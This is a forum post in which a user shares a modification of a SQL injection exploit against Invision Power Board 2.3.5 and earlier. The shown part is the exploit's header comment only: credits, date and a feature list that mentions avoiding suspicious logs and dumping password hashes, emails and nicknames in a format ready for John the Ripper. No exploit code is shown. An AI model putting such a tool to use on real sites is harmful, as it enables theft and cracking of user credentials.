Hey guys, first off I'd like to say what a great site! been a waraxe follower for a while now and decided to finally join.
I have used the IPB < 2.3.5 exploit recently, and was annoyed by having to turn the salt into hex for use in JTR, so taking the modification from k40t1x to Waraxe's awesome script, made it JTR friendly. Hope its of use to someone.

// IPB <= 2.3.5 sql injection exploit
// Version 1.2
// written by Janek Vind "waraxe"
// modified by k40t1x
// JTR friendly mod by r3v_0
// Estonia, Tartu
// http://www.waraxe.us/
// 24. september 2008
// based on DarkFig's advisory
// http://acid-root.new.fr/?0:18
//
// FEATURES:
// 1. Fetching algorithm optimized for speed
// 2. Attack goes through $_POST, so no suspicious logs
// 3. Pretesting saves time if IPB is not vulnerable
// 4. curl extension autoloading
// 5. can work with multiple ID-s
// 6. log format compatible with JTR
// 7. Get extra infos (email and nicknames) + start and end_index through cli
// More useful tools: http://www.waraxe.us/tools/
// Waraxe forums: http://www.waraxe.us/forums.html
//
// NB! This exploit is meant to be run as php CLI!
